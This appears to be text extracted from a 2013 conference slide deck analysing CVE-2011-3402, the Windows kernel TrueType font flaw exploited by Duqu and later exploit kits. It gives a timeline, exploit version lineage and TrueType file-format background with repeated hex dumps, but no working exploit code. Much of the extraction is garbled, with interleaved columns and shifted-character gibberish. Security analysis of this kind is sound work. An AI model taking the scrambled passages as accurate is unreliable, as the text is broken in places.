Note: Because Type 1 font programs were originally produced and were carefully checked only within Adobe Systems, Type 1 BuildChar was designed with the expectation that only errorfree Type 1 font programs would be presented to it. Consequently, Type 1 BuildChar does not protect itself against data inconsistencies and other problems. - Adobe Systems Incorporated 1993, Adobe type 1 font format, Third printing Version 1.1, Addison-Wesley Publishing Company, Inc., Reading, Massachusetts, p. 8. Friday, March 8, 2013 CVE-2011-3402 Windows Kernel TrueType Font Engine Vulnerability (MS11-087) March 8, 2013 CanSecWest Julia Wolf FireEye, inc. Friday, March 8, 2013 Timeline Friday, March 8, 2013 • May 2011: Earliest confirmed use of this exploit, as discovered by Kaspersky. (Unconfirmed possibilities of 2010 or 2005 for earliest use.) • Aug-Oct 2011: CrySyS discovers “Duqu” and partners with Symantec. Kaspersky Labs publishes a ton of research too. • Nov 2011: Microsoft names this “MS11-087” • Nov 2011: Details of exploit briefly appear on a Chinese web site. Friday, March 8, 2013 • Dec 2011: Microsoft releases fix for vulnerability. • Jun 2012: BlackHole developer begins to test this exploit. It didn’t work, so no one really noticed. • Oct 2012: Cool Exploit Kit, and almost simultaneously BlackHole begin using a fully working exploit. • Currently: At least half a dozen exploit kits are using the exact same exploit code. (Only one has even changed the name.) Friday, March 8, 2013 W32.Duqu: The precursor to the next Stuxnet https://www.symantec.com/content/en/us/enterprise/ media/security_response/whitepapers/ Finally, the infostealer appears to have been first created along the same timeframe, in June 2011. The most rew32_duqu_the_precursor_to_the_next_stuxnet.pdf cent variant was created on October 17, prior to the server being shutdown. Two of the additional DLLs pushed Response from the C&C were compiled hours before this sample. Note that the recovered Stuxnet files date between June 2009 and March 2010 and therefore date prior to the first development of these variants. W32.Duqu hnical Analysis nstallation The precursor to the next Stuxnet Version 1.3 (November 1, 2011) In one case, Duqu arrived at the target using a specially crafted, Microsoft Word document. The Word document Contents Executive contained a currently undisclosed 0-day kernel exploit that allows summary the attackers to install Duqu onto the comExecutive summary............................................ 1 puterInfection unbeknownst to the user. On October 14, 2011, we were alerted to a sample by the Laboratory Statistics............................................. 3 of Cryptography and System Security (CrySyS) at Budapest UniversiGeographic distribution ............................... 3 ty ofand Technology and appeared very similar to The full installation process for Duqu is quite4 involved lengthy. ToEconomics. illustrateThe thethreat installation process as simply File history.................................................... theshellcode Stuxnet worm of 2010. CrySyS named the threat Duqu as possible it can be .............................................. divided into 2 parts: the5 exploit andfrom the June installer. Technical Analysis [dyü-kyü] because it creates files with the file name prefix “~DQ”. Installation .................................................. 5 The research lab provided their detailed initial report to us, which Installed component architecture ............... 6 we have added as an appendix. The threat was recovered by CryLoad point (JMINET7.SYS) ........................... 7 SyS from an organization based in Europe and has since been found Main DLL (NETP191.PNF) ............................ 8 The vulnerability details are currently undisclosed due to the current unavailability of a patch. Future versions of in numerous countries. We have confirmed W32.Duqu is a threat Payload loader (Resource 302).................... 9 vulnerability. this paper will include the details related to the nearly identical to Stuxnet, but with a completely different purpose. Payload (.zdata DLL) .................................. 12 Downloaded threats................................... 15 is essentially the precursor to akernel future mode Stuxnet-like attack. which The When the Word document is opened, the exploit is Duqu triggered. The exploit contains shellcode, Replication ..................................................17 threatby was written for by the same authors, or HKEY_LOCAL_MACHINE\ those that have access to will first check if the computer is already compromised looking the registry value Variants ............................................................ 18 the Stuxnet source code, and the recovered samples have been creSOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\”CFID”. If the computer has already CMI4432.SYS ............................................. 18 ated after the last-discovered version of Stuxnet. Duqu’s purpose CMI4432.PNF ............................................. Friday, 8, 2013 beenMarch compromsed, the shellcode gracefully18 exits. is to gather intelligence data and assets from entities such as indus- Exploit shellcode W32.Duqu • Stuxnet’s cousin’s hairdresser’s former roommate... or something like that. • For more information: http://www.google.com/search?q=duqu • Initial vector was an Office Document emailed to victim(s), containing an embedded TTF, which exploited an 0-day in the Windows Kernel... because... because... Friday, March 8, 2013 WIN32K.SYS • Windows NT executes TrueType font programs... • For rendering bitmaps... • ... in Ring 0 • Yes, this is insane as it sounds. But it gets even better... Friday, March 8, 2013 http://technet.microsoft.com/en-us/ library/cc750820.aspx This change as implemented in Windows NT 4.0 results in faster operation and reduced memory requirements, both visible benefits to the end user. And there is no loss of reliability, since (a) the kernel mode implementations of Win32 are fully protected from direct access by applications; Friday, March 8, 2013 http://technet.microsoft.com/en-us/ library/cc750820.aspx Security Due to the modular design of Windows NT moving Window Manager and GDI to kernel mode will make no difference to the security subsystem or to the overall security of the operating system this will also have no effect on the C2 or E3 security certification evaluation, other than making it easier to document the internal architecture of Windows NT. Friday, March 8, 2013 http://technet.microsoft.com/en-us/ library/cc750820.aspx In the Windows NT Workstation 4.0 release, the Window Manager and GDI processes are still protected because applications cannot write to memory locations occupied by kernel mode code and data, as is shown above. Friday, March 8, 2013 http://technet.microsoft.com/en-us/ library/cc750820.aspx Consequently, there is no change in stability or reliability resulting from poorly behaved applications, because kernel-mode code and data is protected by the Windows NT architecture and the processor's memory protection system. Friday, March 8, 2013 http://technet.microsoft.com/en-us/ library/cc750820.aspx Note that in this respect of total isolation of critical operating system data from user-mode application code, Windows NT Workstation 4.0 remains unchanged in being architecturally more robust than other PC-based operating systems, such as Microsoft Windows 95, IBM OS/2 Warp, and Apple Macintosh operating systems. Friday, March 8, 2013 http://technet.microsoft.com/en-us/ library/cc750820.aspx All of those systems make a trade-off for greater performance and smaller memory footprint that involves [...] That tradeoff is entirely appropriate for today's low- and medium-range platforms, but not in a high-end platform such as Windows NT. With Windows NT 4.0, it remains true that if application code can crash the system, Windows NT has a bug, period. Friday, March 8, 2013 So, About Those Exploits... Friday, March 8, 2013 Phylogenetic Tree The May 2011 Duqu Version The Aug 2011 MAPP Version The ??? 201? BHEK Version The Jun 2012 64bit Version Friday, March 8, 2013 Renamed to “abcdef” Ver Phylogenetic Tree • Metadata is constant • Font tables are constant • Jokes are constant • The (32bit) font program is constant. Except in the most recent exploit kit versions. • (The first few bytes are NULLed out. It doesn’t effect execution, and may be an accident.) Friday, March 8, 2013 Phylogenetic Tree • The only major change has been the x86 shellcode. Completely different between versions. • Oh, and there is that 64-bit version.... • I can’t find evidence of its existance prior to Jun 2012 • Appears to have been derived from the 32-bit version. • Major changes: Offset to CVT overwrite, and the font program. Friday, March 8, 2013 TrueType Font File Format Friday, March 8, 2013 History • The Earth Cools • Bitmap Fonts • Postscript Type 1, 2, 3, ..., 42 (cubic Bézier curves) • TrueType (quadratic Bézier curves) • OpenType... more of the same kind of thing Friday, March 8, 2013 Cubic Bézier Curve Friday, March 8, 2013 Friday, March 8, 2013 Friday, March 8, 2013 Rasterization Problems Friday, March 8, 2013 Rasterization Problems Friday, March 8, 2013 Rasterization Problems Friday, March 8, 2013 SIGNAL PROCESSING You’re doing it wrong. Friday, March 8, 2013 Rasterization Solutions Friday, March 8, 2013 Control Value Table &UHDWLQJWKHFRQWUROYDOXHWDEOH 7KHXSSHUFDVH+KDVIHDWXUHVLQFRPPRQZLWKRWKHUXSSHUFDVHVWUDLJKWJO\SKVLQWKLVIRQW7KHQHHG WRFRRUGLQDWHNH\GLPHQVLRQVLQWKLVJO\SKZLWKNH\GLPHQVLRQVLQRWKHUUHODWHGJO\SKVVXJJHVWVWKH QHHGIRUDQXPEHURIFRQWUROYDOXHWDEOHHQWULHV 7KHFRQWUROYDOXHWDEOHHQWU\IRUWKHFDSKHLJKWRIWKH+LVGHULYHGIURPDQDQDO\VLVRIWKHKHLJKWVRI UHODWHGOHWWHUVLQWKHIRQW$VVKRZQLQ7DEOHEHORZHQWU\KDVWKHYDOXH([DPLQLQJWKHIRQW GDWDVKRZVWKDWWKLVLVLQGHHGWKHKHLJKWRIWKH+,WLVDOVRWKHKHLJKWRIUHODWHGJO\SKVVXFKDVWKH, .DQGWKH/ 7RFUHDWHFRQWUROYDOXHWDEOHHQWU\WKHXSSHUFDVHVWHPZLGWKLWLVQHFHVVDU\WRORRNDWWKHZLGWKV RIWKHVWHPVLQNH\JO\SKVDFURVVWKHIRQWDQGILQGDYDOXHWKDWLVDFFHSWDEOHIRUDOO2QHSRVVLEOH DSSURDFKLVWRDYHUDJHWKHUHODWHGYDOXHV 2QFHWKHYDOXHLVGHWHUPLQHGWKHQHFHVVDU\FRQWUROYDOXHWDEOHHQWU\VKRXOGEHHQWHUHGLQWKHFRQWURO YDOXHWDEOH $VWKHJHRPHWULFDQDO\VLVVXJJHVWVDQGWKHLQVWUXFWLRQVWKDWIROORZZLOOUHYHDOWKHLQVWUXFWLRQRIWKH+ ZLOOUHTXLUHVHYHUDOFRQWUROYDOXHWDEOHHQWULHV7KH\DUHVKRZQLQ7DEOH 7DEOH&RQWUROYDOXHWDEOHIRU1HZ<RUN (QWU\ Friday, March 8, 2013 9DOXH 'HVFULSWLRQ FDSKHLJKW EDVHOLQH KHLJKWRIVHULI ZLGWKRIVHULI XSSHUFDVHVWHPZLGWK OHIWVLGHEHDULQJ XSSHUFDVHVWURNH EODFNERG\ZLGWKRIXSSHUFDVH+ $/,*153>@ $OLJQSRLQWZLWKUSSRLQW Just Go Read Apple’s Reference Manual... 7KHQH[WLQVWUXFWLRQFRQWUROVWKHOHQJWKRIWKHVHULIVRQLQVLGHOHIWVWHP7KH VDPHDVLQWKHSUHYLRXVLQVWUXFWLRQIRUWKHRXWHUVHULI7KLVLVDFFRPSOLVKHGZ 386+%>@ SXVKWZRE\WHVRQWRWKHVWDFN SRLQWQXPEHU FRQWUROYDOXHWDEOHORFDWLRQ 0,53>@ 0RYHSRLQWXQWLOLWVGLVWDQFHLQWKH[ GLUHFWLRQIURPUSSRLQWLVWKHYDOXHLQ FRQWUROYDOXHWDEOHHQWU\VHULIZLGWK 6HWUSWRUS 'RQRWFKDQJHUS 8VHWKHPLQLPXPGLVWDQFH 5RXQGDQGXVHWKHFXWLQ 7KLVLVDJUH\GLVWDQFH 6HWUSWRSRLQW Friday, March 8, 2013 Like This... Where the CVT “cuts in” Friday, March 8, 2013 Things To Know... • Glyphs are represented as outlines, which are then rasterized to the requested point size • Outlines are drawn using a Turing Complete language to manipulate the graphics state • Also there’s optional support in TTF for glyph bitmaps, in addition to these outlines Friday, March 8, 2013 TrueType VM Environment • A stack used by VM operators to POP arguments from, and PUSH results onto • A “Storage Area” array of predefined size • A “Control Value Table” of predefined size (Used implicitly by certain VM operators) • Global Graphics State Friday, March 8, 2013 On-Disk Format • Based upon QuickDraw GX spline font “sfnt” format, which is sort of based upon the MacOS Resource Fork format, but zillions of other file formats basically do the same thing • Offset-Length-Table • Network (m68K) byte order Friday, March 8, 2013 On-Disk Format 00000000 00000010 00000020 00000030 00000040 00000050 00000060 00000070 00000080 00000090 000000a0 000000b0 000000c0 000000d0 000000e0 000000f0 00000100 00000110 00000120 etc... Friday, March 8, 2013 00 4b 1f 1e 03 00 00 7f 18 db 00 00 00 01 1c 9c 8b 01 00 01 90 4d 20 bd 61 00 06 d3 b2 16 82 5e 08 d0 11 9d c0 00 00 43 32 05 0e 00 00 e9 69 28 00 00 00 00 3a 3e ff 63 00 00 d6 14 0a ca 57 00 00 4b 94 be 1e 00 23 db 69 81 b8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3a 00 10 03 03 03 03 03 03 00 03 03 03 03 03 03 03 03 03 40 00 01 bd bd be ba ba ba 01 ba b9 b9 ba ba ba bb bd ba 60 00 00 54 7c f4 24 8c d0 0c e4 a8 e0 7c d4 04 a0 1c c0 b8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 03 00 00 00 00 00 00 00 00 00 0c 00 00 00 01 00 00 00 00 b8 00 00 00 00 00 00 01 00 00 60 00 00 28 78 94 56 34 02 9b bc 36 24 0e 0e 20 7c 35 0d 1c 00 45 45 45 4f 63 63 66 67 68 68 68 6c 6d 6e 70 70 b8 00 00 42 42 42 53 6d 76 70 6c 65 68 6d 6f 61 61 6f 72 7f 00 00 44 4c 53 2f 61 74 67 79 61 65 74 63 78 6d 73 65 c0 00 00 54 43 43 32 70 20 6d 66 64 61 78 61 70 65 74 70 b8 00 00 |............EBDT| |K.C....T...(EBLC| |.M2....|...xEBSC| |. ..........OS/2| |.......$...Vcmap| |.a.W.......4cvt | |............fpgm| |............glyf| |..iK........head| |..(........6hhea| |...........$hmtx| |.......|....loca| |.^..........maxp| |...#....... name| |..:........|post| |..>i.......5prep| |................| |..c.:@`...`.....| |................| On-Disk Format 00000000 00000010 00000020 00000030 00000040 00000050 00000060 00000070 00000080 00000090 000000a0 000000b0 000000c0 000000d0 000000e0 000000f0 00000100 00000110 00000120 etc... Friday, March 8, 2013 00 4b 1f 1e 03 00 00 7f 18 db 00 00 00 01 1c 9c 8b 01 00 01 90 4d 20 bd 61 00 06 d3 b2 16 82 5e 08 d0 11 9d c0 00 00 43 32 05 0e 00 00 e9 69 28 00 00 00 00 3a 3e ff 63 00 00 d6 14 0a ca 57 00 00 4b 94 be 1e 00 23 db 69 81 b8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3a 00 10 03 03 03 03 03 03 00 03 03 03 03 03 03 03 03 03 40 00 01 bd bd be ba ba ba 01 ba b9 b9 ba ba ba bb bd ba 60 00 00 54 7c f4 24 8c d0 0c e4 a8 e0 7c d4 04 a0 1c c0 b8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 03 00 00 00 00 00 00 00 00 00 0c 00 00 00 01 00 00 00 00 b8 00 00 00 00 00 00 01 00 00 60 00 00 45 28 45 78 45 94 4f 56 63 34 63 02 66 9b 67 bc 68 36 68 242 68 0e 6c 0e 6d 20 6e 7c 70 35 70 0d b8 1c 00 00 00 42 42 42 53 6d 76 70 6c 65 68 6d 6f 61 61 6f 72 7f 00 00 44 4c 53 2f 61 74 67 79 61 65 74 63 78 6d 73 65 c0 00 00 54 43 43 32 70 20 6d 66 64 61 78 61 70 65 74 70 b8 00 00 |............EBDT| |K.C....T...(EBLC| |.M2....|...xEBSC| |. ..........OS/2| |.......$...Vcmap| |.a.W.......4cvt | |............fpgm| |............glyf| |..iK........head| |..(........6hhea| |...........$hmtx| |.......|....loca| |.^..........maxp| |...#....... name| |..:........|post| |..>i.......5prep| |................| |..c.:@`...`.....| |................| The offset subtable (12 bytes) 00 01 00 00 Magic Number (Version) 00 10 Number of Tables (16 in this case) These are for doing a log binary tree search 01 00 searchRange 00 04 entrySelector 00 00 rangeShift On-Disk Format 00000000 00000010 00000020 00000030 00000040 00000050 00000060 00000070 00000080 00000090 000000a0 000000b0 000000c0 000000d0 000000e0 000000f0 00000100 00000110 00000120 etc... Friday, March 8, 2013 00 4b 1f 1e 03 00 00 7f 18 db 00 00 00 01 1c 9c 8b 01 00 01 90 4d 20 bd 61 00 06 d3 b2 16 82 5e 08 d0 11 9d c0 00 00 43 32 05 0e 00 00 e9 69 28 00 00 00 00 3a 3e ff 63 00 00 d6 14 0a ca 57 00 00 4b 94 be 1e 00 23 db 69 81 b8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3a 00 10 03 03 03 03 03 03 00 03 03 03 03 03 03 03 03 03 40 00 01 bd bd be ba ba ba 01 ba b9 b9 ba ba ba bb bd ba 60 00 00 54 7c f4 24 8c d0 0c e4 a8 e0 7c d4 04 a0 1c c0 b8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 03 00 00 00 00 00 00 00 00 00 0c 00 00 00 01 00 00 00 00 b8 00 00 00 00 00 00 01 00 00 60 00 00 45 28 45 78 45 94 4f 56 63 34 63 02 66 9b 67 bc 68 36 68 242 68 0e 6c 0e 6d 20 6e 7c 70 35 70 0d b8 1c 00 00 00 42 42 42 53 6d 76 70 6c 65 68 6d 6f 61 61 6f 72 7f 00 00 44 4c 53 2f 61 74 67 79 61 65 74 63 78 6d 73 65 c0 00 00 54 43 43 32 70 20 6d 66 64 61 78 61 70 65 74 70 b8 00 00 |............EBDT| |K.C....T...(EBLC| |.M2....|...xEBSC| |. ..........OS/2| |.......$...Vcmap| |.a.W.......4cvt | |............fpgm| |............glyf| |..iK........head| |..(........6hhea| |...........$hmtx| |.......|....loca| |.^..........maxp| |...#....... name| |..:........|post| |..>i.......5prep| |................| |..c.:@`...`.....| |................| The offset subtable (12 bytes) 00 01 00 00 Magic Number (Version) 00 10 Number of Tables (16 this case) “true” and “typ1” areinalso These are for used doingfor a log Macbinary fonts, tree search 01 00 searchRange 0x00010000 is used for Windows TTF fonts, 00 04 entrySelector and in OTF officially defined 00 00 rangeShift as “version 1.0” On-Disk Format 00000000 00000010 00000020 00000030 00000040 00000050 00000060 00000070 00000080 00000090 000000a0 000000b0 000000c0 000000d0 000000e0 000000f0 00000100 00000110 00000120 etc... Friday, March 8, 2013 00 4b 1f 1e 03 00 00 7f 18 db 00 00 00 01 1c 9c 8b 01 00 01 90 4d 20 bd 61 00 06 d3 b2 16 82 5e 08 d0 11 9d c0 00 00 43 32 05 0e 00 00 e9 69 28 00 00 00 00 3a 3e ff 63 00 00 d6 14 0a ca 57 00 00 4b 94 be 1e 00 23 db 69 81 b8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3a 00 10 03 03 03 03 03 03 00 03 03 03 03 03 03 03 03 03 40 00 01 bd bd be ba ba ba 01 ba b9 b9 ba ba ba bb bd ba 60 00 00 54 7c f4 24 8c d0 0c e4 a8 e0 7c d4 04 a0 1c c0 b8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 03 00 00 00 00 00 00 00 00 00 0c 00 00 00 01 00 00 00 00 b8 00 00 00 00 00 00 01 00 00 60 00 00 45 28 45 78 45 94 4f 56 63 34 63 02 66 9b 67 bc 68 36 68 242 68 0e 6c 0e 6d 20 6e 7c 70 35 70 0d b8 1c 00 00 00 42 42 42 53 6d 76 70 6c 65 68 6d 6f 61 61 6f 72 7f 00 00 44 4c 53 2f 61 74 67 79 61 65 74 63 78 6d 73 65 c0 00 00 54 43 43 32 70 20 6d 66 64 61 78 61 70 65 74 70 b8 00 00 |............EBDT| |K.C....T...(EBLC| |.M2....|...xEBSC| |. ..........OS/2| |.......$...Vcmap| |.a.W.......4cvt | |............fpgm| |............glyf| |..iK........head| |..(........6hhea| |...........$hmtx| |.......|....loca| |.^..........maxp| |...#....... name| |..:........|post| |..>i.......5prep| |................| |..c.:@`...`.....| |................| The offset subtable (12 bytes) 00 01 00 00 Magic Number (Version) 00 10 Number of Tables (16 in this case) These are for doing a log binary tree search 01 00 searchRange 00 04 entrySelector 00 00 rangeShift On-Disk Format 00000000 00000010 00000020 00000030 00000040 00000050 00000060 00000070 00000080 00000090 000000a0 000000b0 000000c0 000000d0 000000e0 000000f0 00000100 00000110 00000120 etc... Friday, March 8, 2013 00 4b 1f 1e 03 00 00 7f 18 db 00 00 00 01 1c 9c 8b 01 00 01 90 4d 20 bd 61 00 06 d3 b2 16 82 5e 08 d0 11 9d c0 00 00 43 32 05 0e 00 00 e9 69 28 00 00 00 00 3a 3e ff 63 00 00 d6 14 0a ca 57 00 00 4b 94 be 1e 00 23 db 69 81 b8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3a 00 10 03 03 03 03 03 03 00 03 03 03 03 03 03 03 03 03 40 00 01 bd bd be ba ba ba 01 ba b9 b9 ba ba ba bb bd ba 60 00 00 54 7c f4 24 8c d0 0c e4 a8 e0 7c d4 04 a0 1c c0 b8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 03 00 00 00 00 00 00 00 00 00 0c 00 00 00 01 00 00 00 00 b8 00 00 00 00 00 00 01 00 00 60 00 00 45 28 45 78 45 94 4f 56 63 34 63 02 66 9b 67 bc 68 36 68 242 68 0e 6c 0e 6d 20 6e 7c 70 35 70 0d b8 1c 00 00 00 42 42 42 53 6d 76 70 6c 65 68 6d 6f 61 61 6f 72 7f 00 00 44 4c 53 2f 61 74 67 79 61 65 74 63 78 6d 73 65 c0 00 00 54 43 43 32 70 20 6d 66 64 61 78 61 70 65 74 70 b8 00 00 |............EBDT| |K.C....T...(EBLC| |.M2....|...xEBSC| |. ..........OS/2| |.......$...Vcmap| |.a.W.......4cvt | |............fpgm| |............glyf| |..iK........head| |..(........6hhea| |...........$hmtx| |.......|....loca| |.^..........maxp| |...#....... name| |..:........|post| |..>i.......5prep| |................| |..c.:@`...`.....| |................| The offset subtable (12 bytes) 00 01 00 00 Magic Number (Version) 00 10 Number of Tables (16 in this case) These are for doing a log binary tree search 01 00 searchRange 00 04 entrySelector 00 00 rangeShift On-Disk Format 00000000 00000010 00000020 00000030 00000040 00000050 00000060 00000070 00000080 00000090 000000a0 000000b0 000000c0 000000d0 000000e0 000000f0 00000100 00000110 00000120 etc... Friday, March 8, 2013 00 4b 1f 1e 03 00 00 7f 18 db 00 00 00 01 1c 9c 8b 01 00 01 90 4d 20 bd 61 00 06 d3 b2 16 82 5e 08 d0 11 9d c0 00 00 43 32 05 0e 00 00 e9 69 28 00 00 00 00 3a 3e ff 63 00 00 d6 14 0a ca 57 00 00 4b 94 be 1e 00 23 db 69 81 b8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3a 00 10 03 03 03 03 03 03 00 03 03 03 03 03 03 03 03 03 40 00 01 bd bd be ba ba ba 01 ba b9 b9 ba ba ba bb bd ba 60 00 00 54 7c f4 24 8c d0 0c e4 a8 e0 7c d4 04 a0 1c c0 b8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 16 table records 04 00 00 00 00 00 00 03 00 00 00 00 00 00 00 00 00 0c 00 00 00 01 00 00 00 00 b8 00 00 00 00 00 00 01 00 00 60 00 00 28 78 94 56 34 02 9b bc 36 24 0e 0e 20 7c 35 0d 1c 00 45 45 45 4f 63 63 66 67 68 68 68 6c 6d 6e 70 70 b8 00 00 42 42 42 53 6d 76 70 6c 65 68 6d 6f 61 61 6f 72 7f 00 00 44 4c 53 2f 61 74 67 79 61 65 74 63 78 6d 73 65 c0 00 00 54 43 43 32 70 20 6d 66 64 61 78 61 70 65 74 70 b8 00 00 |............EBDT| |K.C....T...(EBLC| |.M2....|...xEBSC| |. ..........OS/2| |.......$...Vcmap| |.a.W.......4cvt | |............fpgm| |............glyf| |..iK........head| |..(........6hhea| |...........$hmtx| |.......|....loca| |.^..........maxp| |...#....... name| |..:........|post| |..>i.......5prep| |................| |..c.:@`...`.....| |................| On-Disk Format 00000000 00000010 00000020 00000030 00000040 00000050 00000060 00000070 00000080 00000090 000000a0 000000b0 000000c0 000000d0 000000e0 000000f0 00000100 00000110 00000120 etc... Friday, March 8, 2013 00 4b 1f 1e 03 00 00 7f 18 db 00 00 00 01 1c 9c 8b 01 00 01 90 4d 20 bd 61 00 06 d3 b2 16 82 5e 08 d0 11 9d c0 00 00 43 32 05 0e 00 00 e9 69 28 00 00 00 00 3a 3e ff 63 00 00 d6 14 0a ca 57 00 00 4b 94 be 1e 00 23 db 69 81 b8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3a 00 10 03 03 03 03 03 03 00 03 03 03 03 03 03 03 03 03 40 00 01 bd bd be ba ba ba 01 ba b9 b9 ba ba ba bb bd ba 60 00 00 54 7c f4 24 8c d0 0c e4 a8 e0 7c d4 04 a0 1c c0 b8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 03 00 00 00 00 00 00 00 00 00 0c 00 00 00 01 00 00 00 00 b8 00 00 00 00 00 00 01 00 00 60 00 00 28 78 94 56 34 02 9b bc 36 24 0e 0e 20 7c 35 0d 1c 00 45 45 45 4f 63 63 66 67 68 68 68 6c 6d 6e 70 70 b8 00 00 42 42 42 53 6d 76 70 6c 65 68 6d 6f 61 61 6f 72 7f 00 00 44 4c 53 2f 61 74 67 79 61 65 74 63 78 6d 73 65 c0 00 00 54 43 43 32 70 20 6d 66 64 61 78 61 70 65 74 70 b8 00 00 |............EBDT| |K.C....T...(EBLC| |.M2....|...xEBSC| |. ..........OS/2| |.......$...Vcmap| |.a.W.......4cvt | |............fpgm| |............glyf| |..iK........head| |..(........6hhea| |...........$hmtx| |.......|....loca| |.^..........maxp| |...#....... name| |..:........|post| |..>i.......5prep| |................| |..c.:@`...`.....| |................| On-Disk Format 00000000 00000010 00000020 00000030 00000040 00000050 00000060 00000070 00000080 00000090 000000a0 000000b0 000000c0 000000d0 000000e0 000000f0 00000100 00000110 00000120 etc... 00 4b 1f 1e 03 00 00 7f 18 db 00 00 00 01 1c 9c 8b 01 00 01 90 4d 20 bd 61 00 06 d3 b2 16 82 5e 08 d0 11 9d c0 00 00 43 32 05 0e 00 00 e9 69 28 00 00 00 00 3a 3e ff 63 00 00 d6 14 0a ca 57 00 00 4b 94 be 1e 00 23 db 69 81 b8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3a 00 10 03 03 03 03 03 03 00 03 03 03 03 03 03 03 03 03 40 00 01 bd bd be ba ba ba 01 ba b9 b9 ba ba ba bb bd ba 60 00 00 54 7c f4 24 8c d0 0c e4 a8 e0 7c d4 04 a0 1c c0 b8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 03 00 00 00 00 00 00 00 00 00 0c 00 00 00 01 00 00 00 00 b8 00 00 00 00 00 00 01 00 00 60 00 00 28 78 94 56 34 02 9b bc 36 24 0e 0e 20 7c 35 0d 1c 00 45 45 45 4f 63 63 66 67 68 68 68 6c 6d 6e 70 70 b8 00 00 42 42 42 53 6d 76 70 6c 65 68 6d 6f 61 61 6f 72 7f 00 00 44 4c 53 2f 61 74 67 79 61 65 74 63 78 6d 73 65 c0 00 00 54 43 43 32 70 20 6d 66 64 61 78 61 70 65 74 70 b8 00 00 |............EBDT| |K.C....T...(EBLC| |.M2....|...xEBSC| |. ..........OS/2| |.......$...Vcmap| |.a.W.......4cvt | |............fpgm| |............glyf| |..iK........head| |..(........6hhea| |...........$hmtx| |.......|....loca| |.^..........maxp| |...#....... name| 32 |..:........|post| |..>i.......5prep| |................| |..c.:@`...`.....| |................| A Table Record (16 bytes) 45 42 44 54 Tag (EBDT = “Embedded Bitmap DaTa”) 4b 90 43 d6 CheckSum (All bytes added together, mod 2 ) 00 03 bd 54 Offset (245076 bytes from beginning of file) 00 00 00 28 Length (Table is 40 bytes long) Friday, March 8, 2013 On-Disk Format 00000000 00000010 00000020 00000030 00000040 00000050 00000060 00000070 00000080 00000090 000000a0 000000b0 000000c0 000000d0 000000e0 000000f0 00000100 00000110 00000120 etc... 00 4b 1f 1e 03 00 00 7f 18 db 00 00 00 01 1c 9c 8b 01 00 01 90 4d 20 bd 61 00 06 d3 b2 16 82 5e 08 d0 11 9d c0 00 00 43 32 05 0e 00 00 e9 69 28 00 00 00 00 3a 3e ff 63 00 00 d6 14 0a ca 57 00 00 4b 94 be 1e 00 23 db 69 81 b8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3a 00 10 03 03 03 03 03 03 00 03 03 03 03 03 03 03 03 03 40 00 01 bd bd be ba ba ba 01 ba b9 b9 ba ba ba bb bd ba 60 00 00 54 7c f4 24 8c d0 0c e4 a8 e0 7c d4 04 a0 1c c0 b8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 03 00 00 00 00 00 00 00 00 00 0c 00 00 00 01 00 00 00 00 b8 00 00 00 00 00 00 01 00 00 60 00 00 28 78 94 56 34 02 9b bc 36 24 0e 0e 20 7c 35 0d 1c 00 45 45 45 4f 63 63 66 67 68 68 68 6c 6d 6e 70 70 b8 00 00 42 42 42 53 6d 76 70 6c 65 68 6d 6f 61 61 6f 72 7f 00 00 44 4c 53 2f 61 74 67 79 61 65 74 63 78 6d 73 65 c0 00 00 54 43 43 32 70 20 6d 66 64 61 78 61 70 65 74 70 b8 00 00 |............EBDT| |K.C....T...(EBLC| |.M2....|...xEBSC| |. ..........OS/2| |.......$...Vcmap| |.a.W.......4cvt | |............fpgm| |............glyf| |..iK........head| |..(........6hhea| |...........$hmtx| |.......|....loca| |.^..........maxp| |...#....... name| 32 |..:........|post| |..>i.......5prep| |................| |..c.:@`...`.....| |................| A Table Record (16 bytes) 45 42 44 54 Tag (EBDT = “Embedded Bitmap DaTa”) 4b 90 43 d6 CheckSum (All bytes added together, mod 2 ) 00 03 bd 54 Offset (245076 bytes from beginning of file) 00 00 00 28 Length (Table is 40 bytes long) Friday, March 8, 2013 On-Disk Format 00000000 00000010 00000020 00000030 00000040 00000050 00000060 00000070 00000080 00000090 000000a0 000000b0 000000c0 000000d0 000000e0 000000f0 00000100 00000110 00000120 etc... 00 4b 1f 1e 03 00 00 7f 18 db 00 00 00 01 1c 9c 8b 01 00 01 90 4d 20 bd 61 00 06 d3 b2 16 82 5e 08 d0 11 9d c0 00 00 43 32 05 0e 00 00 e9 69 28 00 00 00 00 3a 3e ff 63 00 00 d6 14 0a ca 57 00 00 4b 94 be 1e 00 23 db 69 81 b8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3a 00 10 03 03 03 03 03 03 00 03 03 03 03 03 03 03 03 03 40 00 01 bd bd be ba ba ba 01 ba b9 b9 ba ba ba bb bd ba 60 00 00 54 7c f4 24 8c d0 0c e4 a8 e0 7c d4 04 a0 1c c0 b8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 03 00 00 00 00 00 00 00 00 00 0c 00 00 00 01 00 00 00 00 b8 00 00 00 00 00 00 01 00 00 60 00 00 28 78 94 56 34 02 9b bc 36 